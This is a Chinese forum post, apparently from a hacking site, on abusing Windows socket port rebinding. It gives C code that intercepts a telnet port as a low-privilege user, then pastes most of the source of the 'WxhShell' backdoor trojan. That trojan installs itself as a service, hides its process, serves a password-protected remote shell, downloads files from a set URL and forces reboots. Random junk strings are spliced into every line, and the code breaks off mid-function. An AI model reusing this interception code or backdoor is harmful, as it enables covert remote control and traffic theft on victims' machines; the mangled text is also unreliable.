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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u}bf-;R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m4E)qCvy  
88"Sai  
  saddr.sin_family = AF_INET; 3=Ec "  
<mMTD8Sx]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P|2E2=G  
%Pqk63QF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oY~ Dg  
~n')&u{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IL/Yc1  
-F"Q EL#  
  这意味着什么?意味着可以进行如下的攻击: Rv,JU6>i  
x.0p%O=`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R1:k23{  
if;71ZE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mV73 \P6K  
I]"96'|N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p,pR!qC>  
CBQhIvq.d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SQ,?N XZ  
<!$:8ls  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (KZHX5T=  
Sw`RBN[ yo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F;lI+^}}  
depYqYK7G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <WXzh5D2  
"1q>At  
  #include {y]mk?j  
  #include YJS{i  
  #include &bz:K8c  
  #include    1pv}]&X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o~FRF0f*VP  
  int main() @=]~\[e\  
  { }u+a<:pkK  
  WORD wVersionRequested; 6<,dRn  
  DWORD ret; m]_FQWfet  
  WSADATA wsaData; qQi.?<d2"s  
  BOOL val; thO ~=RB  
  SOCKADDR_IN saddr; CSbI85F  
  SOCKADDR_IN scaddr; Ed0IWPx  
  int err; 9jp:k><\(c  
  SOCKET s; @\oz4^  
  SOCKET sc; v]% WH~>  
  int caddsize; *?+V65~dW  
  HANDLE mt; xCzebG["  
  DWORD tid;   _ 7PMmW@  
  wVersionRequested = MAKEWORD( 2, 2 ); >StO.Q99  
  err = WSAStartup( wVersionRequested, &wsaData ); fW`&'!  
  if ( err != 0 ) { kY,U8a3!  
  printf("error!WSAStartup failed!\n"); 1CPjil*eb  
  return -1; Iq+>qX   
  } MC 0TaP  
  saddr.sin_family = AF_INET; #zrTY9m7  
   e}@)z3Q<l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cw&Hgjj2  
wi8Yl1p]!z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }~h'FHCC+  
  saddr.sin_port = htons(23); _UE)*l m+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z|?R/Gf8  
  { hqk}akXt  
  printf("error!socket failed!\n"); h=kQ$`j6  
  return -1; iyVB3:M  
  } 0w'j+  
  val = TRUE; Et"?8\"n7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T&T/C@z'R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 58%'UwKn  
  { /!}'t  
  printf("error!setsockopt failed!\n"); 04J}UE]Ww  
  return -1; 2#X4G~>#h  
  } n\I#CH0V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e&MC|US=\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _8}QlT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zJ+8FWy:S  
,U )"WLmY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kx"<J@  
  { )CI1;  
  ret=GetLastError(); ~9F,%  
  printf("error!bind failed!\n"); 4E8JT#&  
  return -1; d|Gl`BG   
  } 5dx&Qu'}ZS  
  listen(s,2); M,j(=hRJ/E  
  while(1) zPEg  
  { _4 6X%k  
  caddsize = sizeof(scaddr); 2;L|y._`w  
  //接受连接请求 sfr(/mp(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n/QF2&X7)  
  if(sc!=INVALID_SOCKET) Ae^X35  
  { p <eC<dtu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @ZN^1?][  
  if(mt==NULL) 3$vRW.c\q  
  { Md)zEj`\  
  printf("Thread Creat Failed!\n"); k~%<Ir1V]  
  break; 2=-utN@Z  
  } 1%M&CX  
  } b1pQ`qt  
  CloseHandle(mt); hA 3HVP_  
  } SUWD]k>PH  
  closesocket(s); O_$dI*RK  
  WSACleanup(); VZ>On$hp  
  return 0; RjJU4q  
  }   gIR^ )m  
  DWORD WINAPI ClientThread(LPVOID lpParam) G.+l7bnZM  
  { )Fd HV;K  
  SOCKET ss = (SOCKET)lpParam; WWwUwUi  
  SOCKET sc; a/~aFmu6b  
  unsigned char buf[4096]; =k}SD96  
  SOCKADDR_IN saddr; 3`O?16O  
  long num; X u"R^  
  DWORD val; G{aT2c  
  DWORD ret; TUL_TR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0Q"u#V Sp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @L84>3O  
  saddr.sin_family = AF_INET; JJV0R}z?TV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o sbHs$C  
  saddr.sin_port = htons(23); bf_I9Z3m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c~A4gtB=  
  { "HD+rmUEH  
  printf("error!socket failed!\n"); d#:3be{|&q  
  return -1; IM=bK U  
  } 0Q1FL MLV  
  val = 100; |{g+Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) STfyCtS  
  { [~W`E1,  
  ret = GetLastError(); |VOg\[f  
  return -1; D+V7hpH-  
  } Mv|ykJoz"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) })vOaYT|-  
  { !.7udYmB  
  ret = GetLastError(); D0Z\Vvy  
  return -1; `&M{cfp_  
  } 2Zuq?1=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,O1O8TwUB0  
  { r%wA&FQ8U  
  printf("error!socket connect failed!\n"); ^IZ)#1U  
  closesocket(sc); ?[ly`>KpJ  
  closesocket(ss); LL!.c  
  return -1; B bhfG64  
  } k.h`Cji@  
  while(1) W-RqN!snJ8  
  { 8pLBt:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 : Ud[f`t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]u-SL md  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :&}odx!-!C  
  num = recv(ss,buf,4096,0); #L crI  
  if(num>0) DG(7|`(aY  
  send(sc,buf,num,0); q<e&0u4  
  else if(num==0) Vi! Q  
  break; Xog/O i  
  num = recv(sc,buf,4096,0); Jsg I'  
  if(num>0) 8B!aO/Km  
  send(ss,buf,num,0); :/YO ni1h  
  else if(num==0) JnD {J`:  
  break; .=9 s1 ~]  
  } y$ Zj?Dd#  
  closesocket(ss); > 1L=,M  
  closesocket(sc); t^=U*~  
  return 0 ; mIZwAKo  
  } O|kKwadC  
JL}\*  
!yjo   
========================================================== %k f>&b,Mi  
0m[dP  
下边附上一个代码,,WXhSHELL \a "Ct'  
ydl jw  
========================================================== 4kp im  
?{o/I\\  
#include "stdafx.h" [~5p>'  
iWXc  
#include <stdio.h> -y) ,Y |  
#include <string.h> /rB{[zk  
#include <windows.h> )!9Ifk0KH  
#include <winsock2.h> Tm+;0  
#include <winsvc.h> dtM[E`PL  
#include <urlmon.h> NQTnhiM7$  
!.-tW7   
#pragma comment (lib, "Ws2_32.lib") {mYP<NBT  
#pragma comment (lib, "urlmon.lib") [c K^+s)N  
*#>F.#9  
#define MAX_USER   100 // 最大客户端连接数 c"YXxA J  
#define BUF_SOCK   200 // sock buffer g]mtFrP  
#define KEY_BUFF   255 // 输入 buffer s}M= oe  
cl[!`Z  
#define REBOOT     0   // 重启 \ v@({nB8  
#define SHUTDOWN   1   // 关机 Z{-Lc68  
.W\ve>;  
#define DEF_PORT   5000 // 监听端口 ,cTgR78'  
"yb WDWu  
#define REG_LEN     16   // 注册表键长度 @`u?bnx]e  
#define SVC_LEN     80   // NT服务名长度 8$P>wCK\l  
.r|*Ch#;P  
// 从dll定义API jX=lAs~6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KV!<Oq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AH7L.L+$M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .;/L2Jv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S^RUw  
r2*<\ax  
// wxhshell配置信息 r >{G`de4  
struct WSCFG { 0V,Nv9!S  
  int ws_port;         // 监听端口 )yee2(S  
  char ws_passstr[REG_LEN]; // 口令 `qpc*enf0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8"'x)y  
  char ws_regname[REG_LEN]; // 注册表键名 '3tw<k!1{.  
  char ws_svcname[REG_LEN]; // 服务名 H! r &aP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *}b]rjsj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7l8[xV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O0~vf[i];  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Vl!|\x5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O>r-]0DI[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c|p,/L09L  
Aw ^yH+ae  
}; Rz <OF^Iy  
+}7fg82)  
// default Wxhshell configuration n"{X!(RIcx  
struct WSCFG wscfg={DEF_PORT, kka"C]!  
    "xuhuanlingzhe", <zfe }0  
    1, #mc!Wt 10  
    "Wxhshell", % n$^-Vc&  
    "Wxhshell", {g F0Xm%  
            "WxhShell Service",  <dR,'  
    "Wrsky Windows CmdShell Service", 0`hwmDiB"  
    "Please Input Your Password: ", [5ethM  
  1, G"s0GpvQ  
  "http://www.wrsky.com/wxhshell.exe", Evu=M-?  
  "Wxhshell.exe" <zB*'m  
    }; 7Ur?ep  
WnxEu3U  
// 消息定义模块 `"y`AY/N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9w ~cvlv[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I=dGq;Jaz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?qHF}k|  
char *msg_ws_ext="\n\rExit."; eMMx8E)B  
char *msg_ws_end="\n\rQuit."; pu;3nUH  
char *msg_ws_boot="\n\rReboot..."; 9/TY\?U  
char *msg_ws_poff="\n\rShutdown..."; a<Uqyilm  
char *msg_ws_down="\n\rSave to "; 9w^zY ;Y  
- V) R<  
char *msg_ws_err="\n\rErr!"; 3P=w =~e  
char *msg_ws_ok="\n\rOK!"; z_SagU,\  
<&#+ E%E4  
char ExeFile[MAX_PATH]; -e`;bX_N)  
int nUser = 0; -f>'RI95>  
HANDLE handles[MAX_USER]; zhEo(kU!  
int OsIsNt; cy3ww})  
@ RR\lZ  
SERVICE_STATUS       serviceStatus; R9dP,<2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BA+_C]%ZJ  
L'kq>1QWf  
// 函数声明 r2eQ{u{nX  
int Install(void); mBl7{w;Iv  
int Uninstall(void); 1 p\Ak  
int DownloadFile(char *sURL, SOCKET wsh); qc8Ta"  
int Boot(int flag); 7[o {9Yp&  
void HideProc(void); "n?<2 wso  
int GetOsVer(void); 6 DP[g8  
int Wxhshell(SOCKET wsl); >9(i)e  
void TalkWithClient(void *cs); 2_pz3<,\  
int CmdShell(SOCKET sock); %`\]Y']R  
int StartFromService(void); A3UQJ  
int StartWxhshell(LPSTR lpCmdLine); l8wF0|  
S ~|.&0"\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D1"7s,Hmu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /8eW@IO.F  
C ?7X"~ ~  
// 数据结构和表定义 I6dm@{/:>  
SERVICE_TABLE_ENTRY DispatchTable[] = d79N-O-  
{ s44iEh=V(I  
{wscfg.ws_svcname, NTServiceMain}, ,b' 4CF  
{NULL, NULL} aWvd`qA9r  
}; moO _-@i  
kL7^$  
// 自我安装 ?SX_gYe9  
int Install(void) 1r4,XSk  
{ * BOBH;s  
  char svExeFile[MAX_PATH]; ~mH+DV3  
  HKEY key; Jp ]T9W\  
  strcpy(svExeFile,ExeFile); 1D1b"o  
N/{?7sG&  
// 如果是win9x系统,修改注册表设为自启动 -<oZ)OfU  
if(!OsIsNt) { 7:o+iP46  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Y-$}KwY!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rx:lKoOnB  
  RegCloseKey(key); -9G]x{>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &5q{viI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h~ha  
  RegCloseKey(key); rSyaZ6#  
  return 0; 0j@IxEPs  
    } 9~Xg#{  
  } Fk$@Yy+}e  
} Y ><(?  
else { D@hmO]5c  
(!n-Age  
// 如果是NT以上系统,安装为系统服务 E~He~wHWe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {wu!6\:<??  
if (schSCManager!=0) "6V_/u5M;=  
{ hEOJb @:R  
  SC_HANDLE schService = CreateService $FCw$+w  
  ( ^Kw(& v  
  schSCManager, /=M.-MU2  
  wscfg.ws_svcname, v MWC(m  
  wscfg.ws_svcdisp, "k>bUe|RG  
  SERVICE_ALL_ACCESS, ~ &~C#yjg1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FOp_[rR   
  SERVICE_AUTO_START, d| \#?W&  
  SERVICE_ERROR_NORMAL, )6G+tU'  
  svExeFile, +{ab1))/  
  NULL, #$uZDQY_  
  NULL, P1QB`&8F  
  NULL, -A@U0=o  
  NULL, [+DNM 2A  
  NULL 7ukDS]  
  ); CjZ6NAHc  
  if (schService!=0) '#f?#(  
  { ~~dfpW_"  
  CloseServiceHandle(schService); IMR$x(g= F  
  CloseServiceHandle(schSCManager); {G.{a d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6QptKXu7  
  strcat(svExeFile,wscfg.ws_svcname); EG1x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bV7QVu8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rxkBg0Z`a  
  RegCloseKey(key); m t.,4  
  return 0; }2xb&6g~o  
    } o}R|tOe  
  } :eLLDp<  
  CloseServiceHandle(schSCManager); *l q7t2  
} },3R%?8 9%  
} D4\(:kF\Hg  
]Hj`2\KD.d  
return 1; dh,7iQ s  
} |ZuDX87  
\]GGVI ;u  
// 自我卸载 *EE|?vn  
int Uninstall(void) bgXc_>T6_y  
{ {q2<KRU2+#  
  HKEY key; Px#4pmz  
Sh47c4{  
if(!OsIsNt) { %>]#vQ|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =z%s8D2  
  RegDeleteValue(key,wscfg.ws_regname); m-#d8sD2C  
  RegCloseKey(key); ;@O(z*14@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %w%zv2d  
  RegDeleteValue(key,wscfg.ws_regname); ,,2_/u\"/i  
  RegCloseKey(key); "U{mMd!9L  
  return 0; qZc)Sa.S  
  } gU*I;s>  
} >hesxC!  
} @%7/2k  
else { X)FQ%(H<  
{&b-}f"m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^)'||Ly  
if (schSCManager!=0) ,DQ >&_DK  
{ rr6"Y&v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z~B+*HF  
  if (schService!=0) 1r&AB!Z #  
  { IT7:QEfKU  
  if(DeleteService(schService)!=0) { PE +qYCpP9  
  CloseServiceHandle(schService); ";58B} ki  
  CloseServiceHandle(schSCManager); _"`/^L`Q?  
  return 0; s={X-H< 2  
  } .;}pU!S~R  
  CloseServiceHandle(schService); JG1LS$p^  
  } _4A&%>   
  CloseServiceHandle(schSCManager); ]n/jJ_[  
} m';|}z'  
} JCBnFrP  
,7/\&X<`B  
return 1; 4v i B=>  
} ;+! xZOmm  
sd7Y6?_C  
// 从指定url下载文件 i@%L_[MtA  
int DownloadFile(char *sURL, SOCKET wsh) $jDD0<F.#  
{ ;vZ*,q6  
  HRESULT hr; ug>]U ~0  
char seps[]= "/"; E ,Dlaq  
char *token; )z|_*||WU^  
char *file; J\9jsx!WQ  
char myURL[MAX_PATH]; .|tQ=l@I  
char myFILE[MAX_PATH]; iNMLYYq]l  
*GB$sXF  
strcpy(myURL,sURL); W'8J<VBD  
  token=strtok(myURL,seps); ;%lJD"yF  
  while(token!=NULL) HX z iDnj  
  { 1Z=;Uy\  
    file=token; d u _O}x  
  token=strtok(NULL,seps); qrOB_Nz  
  } ~6=Wq64  
%,h!: Ec^c  
GetCurrentDirectory(MAX_PATH,myFILE); ~p0 e=u  
strcat(myFILE, "\\"); E%KC'T N^D  
strcat(myFILE, file); 1"N/ZKF-x  
  send(wsh,myFILE,strlen(myFILE),0); 30:HRF(:  
send(wsh,"...",3,0); 6!i( \Q*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h/w]  
  if(hr==S_OK) sT@u3^>  
return 0; 6B4hSqjh  
else <;.}WQC  
return 1; * N2#{eF&]  
* , |)~$=>  
} QLxXp  
N2M?5fF  
// 系统电源模块 q oKQEG2  
int Boot(int flag) #p;4:IT  
{ V/+H_=|  
  HANDLE hToken; Tm'lN5}&9  
  TOKEN_PRIVILEGES tkp; 1KNkl,E  
|Sy}d[VKsZ  
  if(OsIsNt) { +<vqkc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9} IVNZc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fLf#2EA  
    tkp.PrivilegeCount = 1; f4qS OVv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sf=%l10Fk#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m(Pz7U.Q  
if(flag==REBOOT) { 3g4vpKg6c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *=r@vQ  
  return 0; >c~9wv  
} ~{kA) :  
else { Uj y6vgU;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F=P+;%.  
  return 0; Y,p2eAss  
} exGhkt~  
  } +sV#Z,  
  else { 4'7 v!I9  
if(flag==REBOOT) { #w[q.+A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _Y:Ja0,  
  return 0; +Px<DX+  
} LL6ON }  
else { fbW,0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) woC FN1W  
  return 0; mRix0XBI~  
} l[ZQ7$kL  
} !IQfeo T  
"oKj~:$  
return 1; ?ZD{e|:u  
} rVc zO+E  
:d:|7hlNQ  
// win9x进程隐藏模块 Y:#kel<  
void HideProc(void) tOp:e KN  
{ ZKiL-^dob  
N69eI dl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "m<eHz]D  
  if ( hKernel != NULL ) _AsHw  
  { D:S6Mu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H@OrX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8=u+BDG  
    FreeLibrary(hKernel); Oa3=+_C~$1  
  } I*`=[nR  
a`GN@ 8  
return; E: LQ!  
} 9|?(GG  
;Fwm1ezx0  
// 获取操作系统版本 8/kx3  
int GetOsVer(void) HT1dvC$COo  
{ LmT[N@>"  
  OSVERSIONINFO winfo; 8{U]ATx'(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !Barc ,kA  
  GetVersionEx(&winfo); C$]%1<-Iv]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,sQ0atk7ma  
  return 1; U- UV<}  
  else 2rE~V.)%  
  return 0; H8Z Z@@ qm  
} !EyGJa[ i  
yScov)dp(  
// 客户端句柄模块 .,BD DPFB  
int Wxhshell(SOCKET wsl) Xk$l-Zfse  
{ g}s-v?+  
  SOCKET wsh; IJb1) ZuR  
  struct sockaddr_in client; g)| ++?  
  DWORD myID; 3 MI) E  
S &lTKYP  
  while(nUser<MAX_USER) dOYmt,  
{ 9^[5!SMzCj  
  int nSize=sizeof(client); }G:uzud10  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G \aLg  
  if(wsh==INVALID_SOCKET) return 1; y:|Xg0Kp  
J,77pf!B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]oWZ{#r2  
if(handles[nUser]==0) :6Pc m3  
  closesocket(wsh); q4#f *]  
else Y|qixpP  
  nUser++; 9OO_Hp#|9  
  } BD-c 0-+m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,oi`BOh  
wDC/w[4:  
  return 0; O%Gsk'mo  
} fG[3%e  
DJ2]NA$Q*  
// 关闭 socket ~IJZM`gN  
void CloseIt(SOCKET wsh) >7v.`m6?H  
{ g  cK"  
closesocket(wsh); Hr8$1I$=  
nUser--; SpTORR8  
ExitThread(0); XCi]()TZ_  
} g,GbaaXH  
q MT.7n:  
// 客户端请求句柄 -GkK[KCH  
void TalkWithClient(void *cs) #SLxNAH  
{ Pk?%PB ?Z  
FsPDWy&x  
  SOCKET wsh=(SOCKET)cs; 4+?ZTc(  
  char pwd[SVC_LEN]; hhgz=7Y  
  char cmd[KEY_BUFF]; 1&dsQ, VDl  
char chr[1]; Hk~ gcG  
int i,j; :`"T Eif  
+` Y ?-  
  while (nUser < MAX_USER) { Ev|{~U  
TWR#MVMI  
if(wscfg.ws_passstr) { zl0:U2x7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,IZxlf%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $CYpO}u#  
  //ZeroMemory(pwd,KEY_BUFF); Wj{Rp{}3  
      i=0; i,b7Ft:F&  
  while(i<SVC_LEN) { ^@5ui;JV  
uW-- nXMs  
  // 设置超时 _Ag/gu2-?  
  fd_set FdRead; ~FCSq:_  
  struct timeval TimeOut; JLV}Fw  
  FD_ZERO(&FdRead); xS\QKnG.  
  FD_SET(wsh,&FdRead); W<hdb!bE  
  TimeOut.tv_sec=8; |I^Jn@Mq:  
  TimeOut.tv_usec=0; 9xS`@ "`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;>8TNB e!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +(P 43XO08  
!DUg"o3G>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <{xAvN( :  
  pwd=chr[0]; 5Z1Do^  
  if(chr[0]==0xd || chr[0]==0xa) { T _9ZI|Jx  
  pwd=0; $$;2jX"I  
  break; gwB> oi*OE  
  } a:%5.!Vd  
  i++; hv8[_p`>  
    } WQmiG=Dw^  
<GmrKdM  
  // 如果是非法用户,关闭 socket {F9Qy0.*u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [tf^i:2  
} GTIfrqT  
iF_r'+j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P;o>~Y>x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +FKP5L}  
BNoCE!  
while(1) { .q[sk  
pz6- hi7  
  ZeroMemory(cmd,KEY_BUFF); =|&"/$+s  
A_*Lo6uII  
      // 自动支持客户端 telnet标准   9n\#s~,  
  j=0; -/7=\kao%  
  while(j<KEY_BUFF) { h+u|MdOY\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ez:o9)N4  
  cmd[j]=chr[0]; y^|3]G3  
  if(chr[0]==0xa || chr[0]==0xd) { j%y+W{Q[  
  cmd[j]=0; l )V43  
  break; KXbYv62  
  } adr^6n6 v  
  j++; w58 QX/XG  
    } U)=Z&($T  
0BP~ 0z  
  // 下载文件 | xI_aYv*  
  if(strstr(cmd,"http://")) { } fMFQA)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j.v _  
  if(DownloadFile(cmd,wsh)) ;Kb[UZ1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LuQ M$/i  
  else 2u H\8A+'f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [_G0kiI}W"  
  } VP[!ji9P   
  else { 5$Q`P',*Ua  
%c2i.E/G  
    switch(cmd[0]) { ? /X6x1PN  
  MC)W?  
  // 帮助 J0mCWtx&  
  case '?': { dQ~"b=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Tw6Fg1o>  
    break; QN a3S*  
  } g UAPjR  
  // 安装 qa`(,iN  
  case 'i': { A-!qO|E[-  
    if(Install()) R$m?&1K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,%o<Ql9  
    else 'n.9qxY;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $=SYssg7La  
    break; ^M5uLm-_s  
    } "8TMAF|i4  
  // 卸载 a2_IF,p*?  
  case 'r': { \~j(ui|  
    if(Uninstall()) ]_xGVwem  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0]0M>vx u  
    else `ViNSr):J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'C^C[_W  
    break; SLA~F?t  
    } N!&VBx^z  
  // 显示 wxhshell 所在路径 zvC,([  
  case 'p': { "A`'~]/hE  
    char svExeFile[MAX_PATH]; :%]R x&08  
    strcpy(svExeFile,"\n\r"); uQ+$HzxX  
      strcat(svExeFile,ExeFile); <rmV$_  
        send(wsh,svExeFile,strlen(svExeFile),0); @<JQn^M  
    break; 4DM|OL`w  
    } vrx3O  
  // 重启 CnA)>4E*'  
  case 'b': { emIbGkH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  o*1`,n  
    if(Boot(REBOOT)) I _G;;GF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~mo `  
    else { _JO @O^Ndd  
    closesocket(wsh); X1D:{S[  
    ExitThread(0); X_8NW,  
    } 6x8|v7cMH  
